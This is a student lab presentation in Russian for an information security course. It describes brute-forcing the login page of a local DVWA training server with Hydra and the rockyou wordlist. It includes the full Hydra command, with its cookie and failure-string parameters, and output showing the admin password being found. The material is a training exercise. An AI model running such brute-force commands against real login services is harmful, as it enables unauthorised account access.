

# Презентация по 3-ему этапу индивидуального проекта

## Основы информационной безопасности

---

Бережной И. А.

Российский университет дружбы народов, Москва, Россия

## Информация

---

- Бережной Иван Александрович
- студент 2-ого курса
- Российский университет дружбы народов
- 1132236041@pfur.ru

Приобрести практические навыки по использованию инструмента Hydra для брутфорса паролей DVWA.

Забрутфорсить свой сервер.

## Выполнение лабораторной работы

---

Для начала нужно установить соответствующий уровень защиты сервера. Насколько я понял, *impossible* не получится забрутфорсить с помощью Hydra, поэтому поставим **medium**.

## DVWA Security

### Security Level

Security level is currently: **medium**.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices**, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative bad practices** to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the vulnerable source code to the secure source code.  
Prior to DVWA v1.9, this level was known as 'high'.

Medium



Submit

Security level set to medium

Скачаем список с паролями. Вернёмся в базу данных и посмотрим на куки. Они понадобятся для написания команды.

Вводим команду, которая выдаст подходящий пароль.

```
iaberezhnoy@iaberezhnoy:~$ hydra -l admin -P ~/Загрузки/rockyou.txt -s 80 localhost http-get-form "/DVWA/vulnerabilities/brute/:username='^USER'^&password='^PASS'^&Login=Login:H-Cookie:security-medium; PHPSESSID=rbgs0m8m4jeu35p2guk50mav7h:F-Username and/or password incorrect."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-12 21:36:46
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:username='^USER'^&password='^PASS'^&Login=Login:H-Cookie:security-medium; PHPSESSID=rbgs0m8m4jeu35p2guk50mav7h:F-Username and/or password incorrect.
[80][http-get-form] host: localhost login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-12 21:37:18
```

Рис. 2: Hydra



В ходе выполнения этапа проекта мы попрактиковались в использовании инструмента Hydra для брутфорса паролей DVWA.